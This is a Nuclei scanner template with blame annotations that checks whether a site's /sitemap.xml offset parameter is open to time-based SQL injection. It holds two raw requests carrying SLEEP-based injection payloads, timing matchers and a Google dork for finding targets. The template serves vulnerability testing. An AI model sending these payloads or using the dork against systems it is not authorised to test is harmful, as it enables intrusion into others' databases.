nuclei-templates/http/vulnerabilities/other/sitemap-sql-injection.yaml

40 lines
1.2 KiB
YAML
Raw Normal View History

2023-07-06 07:00:22 +00:00
id: sitemap-sql-injection
info:
name: Sitemap - SQL Injection
2023-07-09 08:17:26 +00:00
author: Aravind,j4vaovo
2023-07-06 07:00:22 +00:00
severity: high
2024-01-02 15:45:12 +00:00
description: Sitemap is vulnerable to SQL Injection.
2023-07-06 07:00:22 +00:00
reference: https://twitter.com/GodfatherOrwa/status/1647406811216072705?t=fbn0Eu34euKdrn4fL8UqfQ&s=19
metadata:
max-request: 2
2023-10-14 11:27:55 +00:00
google-query: intext:"sitemap" filetype:txt, filetype:xml inurl:sitemap
2023-07-06 07:00:22 +00:00
tags: misconfig,sitemap,sqli
http:
- raw:
- |
@timeout: 15s
2023-07-13 05:53:05 +00:00
POST /sitemap.xml?offset=1;SELECT%20IF((SLEEP(6)),1,2356)# HTTP/1.1
2023-07-06 07:00:22 +00:00
Host: {{Hostname}}
2023-07-09 08:17:26 +00:00
- |
@timeout: 25s
2023-07-13 05:53:05 +00:00
POST /sitemap.xml?offset=1;SELECT%20IF((SLEEP(16)),1,2356)# HTTP/1.1
2023-07-09 08:17:26 +00:00
Host: {{Hostname}}
matchers-condition: and
2023-07-06 07:00:22 +00:00
matchers:
- type: dsl
dsl:
2023-07-09 08:17:26 +00:00
- 'duration_1>=6'
- 'status_code_1 == 200'
- 'contains(body_1, "sitemap>")'
condition: and
- type: dsl
dsl:
- 'duration_2>=16'
- 'status_code_2 == 200'
- 'contains(body_2, "sitemap>")'
condition: and
# digest: 4b0a00483046022100e2230e72cfa50ccf817495cea67f457afeedb37b37a9a188b536ddd92bc32aed022100998d0dcdfb5959fe91c01afdd2fd834b57fdf8c024c5509215b3926aaec1f086:922c64590222798bb761d5b6d8e72950